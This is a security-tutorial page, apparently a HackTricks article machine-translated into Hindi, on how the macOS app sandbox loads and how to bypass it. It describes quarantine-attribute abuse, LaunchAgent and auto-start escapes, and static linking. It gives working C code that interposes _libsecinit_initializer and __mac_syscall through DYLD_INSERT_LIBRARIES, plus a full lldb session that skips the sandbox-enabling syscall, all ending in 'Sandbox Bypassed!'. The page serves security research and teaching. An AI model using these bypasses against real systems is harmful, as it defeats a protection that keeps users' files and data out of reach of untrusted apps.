macOS Sandbox Debug & Bypass

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Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

पिछली छवि में यह देखा जा सकता है कि सैंडबॉक्स कैसे लोड होगा जब एक एप्लिकेशन जिसमें अधिकार com.apple.security.app-sandbox है, चलाया जाता है।

कंपाइलर बाइनरी से /usr/lib/libSystem.B.dylib को लिंक करेगा।

फिर, libSystem.B कई अन्य फ़ंक्शंस को कॉल करेगा जब तक कि xpc_pipe_routine ऐप के अधिकारों को securityd को नहीं भेजता। Securityd यह जांचता है कि क्या प्रक्रिया को सैंडबॉक्स के अंदर क्वारंटाइन किया जाना चाहिए, और यदि हां, तो इसे क्वारंटाइन किया जाएगा। अंत में, सैंडबॉक्स को __sandbox_ms को कॉल करके सक्रिय किया जाएगा, जो __mac_syscall को कॉल करेगा।

Possible Bypasses

Bypassing quarantine attribute

सैंडबॉक्स किए गए प्रक्रियाओं द्वारा बनाए गए फ़ाइलों में क्वारंटाइन विशेषता जोड़ी जाती है ताकि सैंडबॉक्स से बचा जा सके। हालाँकि, यदि आप क्वारंटाइन विशेषता के बिना एक .app फ़ोल्डर बनाने में सफल होते हैं सैंडबॉक्स किए गए एप्लिकेशन के भीतर, तो आप ऐप बंडल बाइनरी को /bin/bash की ओर इंगित कर सकते हैं और plist में कुछ env वेरिएबल जोड़ सकते हैं ताकि open का दुरुपयोग करके नए ऐप को बिना सैंडबॉक्स के लॉन्च किया जा सके।

यह वही है जो CVE-2023-32364** में किया गया था।**

इसलिए, इस समय, यदि आप केवल .app के नाम के साथ एक फ़ोल्डर बनाने में सक्षम हैं बिना क्वारंटाइन विशेषता के, तो आप सैंडबॉक्स से बच सकते हैं क्योंकि macOS केवल .app फ़ोल्डर और मुख्य निष्पादन योग्य में क्वारंटाइन विशेषता की जांच करता है (और हम मुख्य निष्पादन योग्य को /bin/bash की ओर इंगित करेंगे)।

ध्यान दें कि यदि एक .app बंडल को पहले से चलाने के लिए अधिकृत किया गया है (इसमें चलाने के लिए अधिकृत फ्लैग के साथ एक क्वारंटाइन एक्सट्र है), तो आप इसका भी दुरुपयोग कर सकते हैं... सिवाय इसके कि अब आप .app बंडलों के अंदर लिख नहीं सकते जब तक कि आपके पास कुछ विशेषाधिकार प्राप्त TCC अनुमतियाँ न हों (जो आपको सैंडबॉक्स उच्च के अंदर नहीं मिलेंगी)।

Abusing Open functionality

शब्द सैंडबॉक्स बायपास के अंतिम उदाहरणों में देखा जा सकता है कि open CLI कार्यक्षमता का दुरुपयोग कैसे किया जा सकता है सैंडबॉक्स को बायपास करने के लिए।

macOS Office Sandbox Bypasses

Launch Agents/Daemons

यहां तक कि यदि एक एप्लिकेशन सैंडबॉक्स के लिए निर्धारित है (com.apple.security.app-sandbox), तो इसे सैंडबॉक्स को बायपास करने के लिए LaunchAgent (~/Library/LaunchAgents) से चलाने पर संभव है। जैसा कि इस पोस्ट में समझाया गया है, यदि आप एक सैंडबॉक्स किए गए एप्लिकेशन के साथ स्थिरता प्राप्त करना चाहते हैं, तो आप इसे स्वचालित रूप से एक LaunchAgent के रूप में चलाने के लिए बना सकते हैं और शायद DyLib पर्यावरण वेरिएबल के माध्यम से दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं।

Abusing Auto Start Locations

यदि एक सैंडबॉक्स प्रक्रिया लिख सकती है एक स्थान पर जहां बाद में एक बिना सैंडबॉक्स एप्लिकेशन बाइनरी चलाने जा रहा है, तो यह सिर्फ वहां बाइनरी रखकर बचने में सक्षम होगी। इस प्रकार के स्थानों का एक अच्छा उदाहरण ~/Library/LaunchAgents या /System/Library/LaunchDaemons हैं।

इसके लिए आपको 2 चरणों की आवश्यकता हो सकती है: एक प्रक्रिया बनाने के लिए जिसमें अधिक अनुमति वाला सैंडबॉक्स (file-read*, file-write*) हो जो आपके कोड को निष्पादित करेगा जो वास्तव में एक स्थान पर लिखेगा जहां इसे बिना सैंडबॉक्स के निष्पादित किया जाएगा।

ऑटो स्टार्ट स्थानों के बारे में इस पृष्ठ की जांच करें:

macOS Auto Start

Abusing other processes

यदि आप तब सैंडबॉक्स प्रक्रिया से अन्य प्रक्रियाओं को समझौता करने में सक्षम हैं जो कम प्रतिबंधात्मक सैंडबॉक्स (या कोई नहीं) में चल रही हैं, तो आप उनके सैंडबॉक्स में भागने में सक्षम होंगे:

macOS Process Abuse

Static Compiling & Dynamically linking

यह शोध ने सैंडबॉक्स को बायपास करने के 2 तरीके खोजे। क्योंकि सैंडबॉक्स उपयोगकर्ता भूमि से लागू होता है जब libSystem पुस्तकालय लोड होता है। यदि एक बाइनरी इसे लोड करने से बच सकती है, तो यह कभी भी सैंडबॉक्स नहीं होगी:

• यदि बाइनरी पूर्ण रूप से स्थिर रूप से संकलित होती है, तो यह उस पुस्तकालय को लोड करने से बच सकती है।

• यदि बाइनरी को किसी पुस्तकालय को लोड करने की आवश्यकता नहीं है (क्योंकि लिंकर भी libSystem में है), तो इसे libSystem को लोड करने की आवश्यकता नहीं होगी।

Shellcodes

ध्यान दें कि यहां तक कि शेलकोड ARM64 में libSystem.dylib में लिंक करने की आवश्यकता होती है:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

ध्यान दें कि भले ही कुछ क्रियाएँ सैंडबॉक्स द्वारा अनुमति दी जा सकती हैं यदि किसी एप्लिकेशन के पास एक विशिष्ट अधिकार है, जैसे कि:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Interposting के बारे में अधिक जानकारी के लिए देखें:

macOS Function Hooking

Interpost _libsecinit_initializer सैंडबॉक्स को रोकने के लिए

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall to prevent the Sandbox

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

आइए एक ऐसा एप्लिकेशन संकलित करें जिसे सैंडबॉक्स किया जाना चाहिए:

sand.c

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

entitlements.xml

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

फिर ऐप को संकलित करें:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

ऐप ~/Desktop/del.txt फ़ाइल को पढ़ने की कोशिश करेगा, जिसे सैंडबॉक्स अनुमति नहीं देगा। वहाँ एक फ़ाइल बनाएं क्योंकि एक बार सैंडबॉक्स को बायपास कर दिया गया, यह इसे पढ़ सकेगा:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

आइए एप्लिकेशन को डिबग करें ताकि यह देखा जा सके कि सैंडबॉक्स कब लोड होता है:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

सैंडबॉक्स को बायपास करने के बावजूद TCC उपयोगकर्ता से पूछेगा कि क्या वह प्रक्रिया को डेस्कटॉप से फ़ाइलें पढ़ने की अनुमति देना चाहता है

संदर्भ

• http://newosxbook.com/files/HITSB.pdf

• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/

• https://www.youtube.com/watch?v=mG715HcDgO8

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